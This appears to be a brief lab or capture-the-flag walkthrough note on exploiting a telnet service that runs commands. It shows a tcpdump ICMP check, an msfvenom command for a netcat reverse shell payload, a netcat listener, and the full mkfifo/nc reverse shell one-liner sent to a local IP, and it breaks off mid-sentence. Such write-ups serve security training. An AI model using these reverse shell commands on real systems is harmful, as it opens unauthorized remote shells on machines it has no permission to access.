tcpdump listener & reverse shell
Last updated
Last updated
with the OpenVPN connection:
sudo tcpdump ip proto \\icmp -i tun0
in order to find if telnet is executing our commands on it we started a tcpdump listener on our local machine and then executed .RUN ping [our local ip] -c 1
We're going to generate a reverse shell payload using msfvenom.This will generate and encode a netcat reverse shell for us. Here's our syntax:
msfvenom -p cmd/unix/reverse_netcat lhost=[local tun0 ip] lport=4444 R
-p
= payload
lhost
= our local host IP address (this is your machine's IP address)
lport
= the port to listen on (this is the port on your machine)
R
= export the payload in raw format
nc -lvp [listening port]
after that we copy and paste our msfvenom payload into the telnet session and run it as a command to get a shell.
.RUN mkfifo /tmp/qdym; nc 10.13.65.129 44444 0</tmp/qdym | /bin/sh >/tmp/qdym 2>&1; rm /tmp/qdym
was run in the telnet session, then: